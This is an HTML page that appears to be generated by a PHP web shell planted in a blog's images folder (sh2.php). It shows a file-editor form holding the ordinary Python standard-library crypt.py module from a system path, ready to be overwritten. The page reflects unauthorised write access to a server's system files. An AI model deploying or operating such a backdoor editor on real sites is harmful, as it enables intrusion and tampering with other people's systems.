<h2>Edit File - crypt.py</h2><form method="POST" style="padding:20px">
                <input type="hidden" name="edit_file" value="/usr/lib64/python3.12/crypt.py">
                <textarea name="file_content" style="width:100%; height:400px; font-family:monospace;">&quot;&quot;&quot;Wrapper to the POSIX crypt library call and associated functionality.&quot;&quot;&quot;

import sys as _sys

try:
    import _crypt
except ModuleNotFoundError:
    if _sys.platform == &#039;win32&#039;:
        raise ImportError(&quot;The crypt module is not supported on Windows&quot;)
    else:
        raise ImportError(&quot;The required _crypt module was not built as part of CPython&quot;)

import errno
import string as _string
import warnings
from random import SystemRandom as _SystemRandom
from collections import namedtuple as _namedtuple


warnings._deprecated(__name__, remove=(3, 13))


_saltchars = _string.ascii_letters + _string.digits + &#039;./&#039;
_sr = _SystemRandom()


class _Method(_namedtuple(&#039;_Method&#039;, &#039;name ident salt_chars total_size&#039;)):

    &quot;&quot;&quot;Class representing a salt method per the Modular Crypt Format or the
    legacy 2-character crypt method.&quot;&quot;&quot;

    def __repr__(self):
        return &#039;&lt;crypt.METHOD_{}&gt;&#039;.format(self.name)


def mksalt(method=None, *, rounds=None):
    &quot;&quot;&quot;Generate a salt for the specified method.

    If not specified, the strongest available method will be used.

    &quot;&quot;&quot;
    if method is None:
        method = methods[0]
    if rounds is not None and not isinstance(rounds, int):
        raise TypeError(f&#039;{rounds.__class__.__name__} object cannot be &#039;
                        f&#039;interpreted as an integer&#039;)
    if not method.ident:  # traditional
        s = &#039;&#039;
    else:  # modular
        s = f&#039;${method.ident}$&#039;

    if method.ident and method.ident[0] == &#039;2&#039;:  # Blowfish variants
        if rounds is None:
            log_rounds = 12
        else:
            log_rounds = int.bit_length(rounds-1)
            if rounds != 1 &lt;&lt; log_rounds:
                raise ValueError(&#039;rounds must be a power of 2&#039;)
            if not 4 &lt;= log_rounds &lt;= 31:
                raise ValueError(&#039;rounds out of the range 2**4 to 2**31&#039;)
        s += f&#039;{log_rounds:02d}$&#039;
    elif method.ident in (&#039;5&#039;, &#039;6&#039;):  # SHA-2
        if rounds is not None:
            if not 1000 &lt;= rounds &lt;= 999_999_999:
                raise ValueError(&#039;rounds out of the range 1000 to 999_999_999&#039;)
            s += f&#039;rounds={rounds}$&#039;
    elif rounds is not None:
        raise ValueError(f&quot;{method} doesn&#039;t support the rounds argument&quot;)

    s += &#039;&#039;.join(_sr.choice(_saltchars) for char in range(method.salt_chars))
    return s


def crypt(word, salt=None):
    &quot;&quot;&quot;Return a string representing the one-way hash of a password, with a salt
    prepended.

    If ``salt`` is not specified or is ``None``, the strongest
    available method will be selected and a salt generated.  Otherwise,
    ``salt`` may be one of the ``crypt.METHOD_*`` values, or a string as
    returned by ``crypt.mksalt()``.

    &quot;&quot;&quot;
    if salt is None or isinstance(salt, _Method):
        salt = mksalt(salt)
    return _crypt.crypt(word, salt)


#  available salting/crypto methods
methods = []

def _add_method(name, *args, rounds=None):
    method = _Method(name, *args)
    globals()[&#039;METHOD_&#039; + name] = method
    salt = mksalt(method, rounds=rounds)
    result = None
    try:
        result = crypt(&#039;&#039;, salt)
    except OSError as e:
        # Not all libc libraries support all encryption methods.
        if e.errno in {errno.EINVAL, errno.EPERM, errno.ENOSYS}:
            return False
        raise
    if result and len(result) == method.total_size:
        methods.append(method)
        return True
    return False

_add_method(&#039;SHA512&#039;, &#039;6&#039;, 16, 106)
_add_method(&#039;SHA256&#039;, &#039;5&#039;, 16, 63)

# Choose the strongest supported version of Blowfish hashing.
# Early versions have flaws.  Version &#039;a&#039; fixes flaws of
# the initial implementation, &#039;b&#039; fixes flaws of &#039;a&#039;.
# &#039;y&#039; is the same as &#039;b&#039;, for compatibility
# with openwall crypt_blowfish.
for _v in &#039;b&#039;, &#039;y&#039;, &#039;a&#039;, &#039;&#039;:
    if _add_method(&#039;BLOWFISH&#039;, &#039;2&#039; + _v, 22, 59 + len(_v), rounds=1&lt;&lt;4):
        break

_add_method(&#039;MD5&#039;, &#039;1&#039;, 8, 34)
_add_method(&#039;CRYPT&#039;, None, 2, 13)

del _v, _add_method
</textarea><br><br>
                <button type="submit" class="btn">Save</button>
                <a href="/blog/images/1781637752_1754069486_sh2.php?dir=." class="btn gray">Kembali</a>
              </form>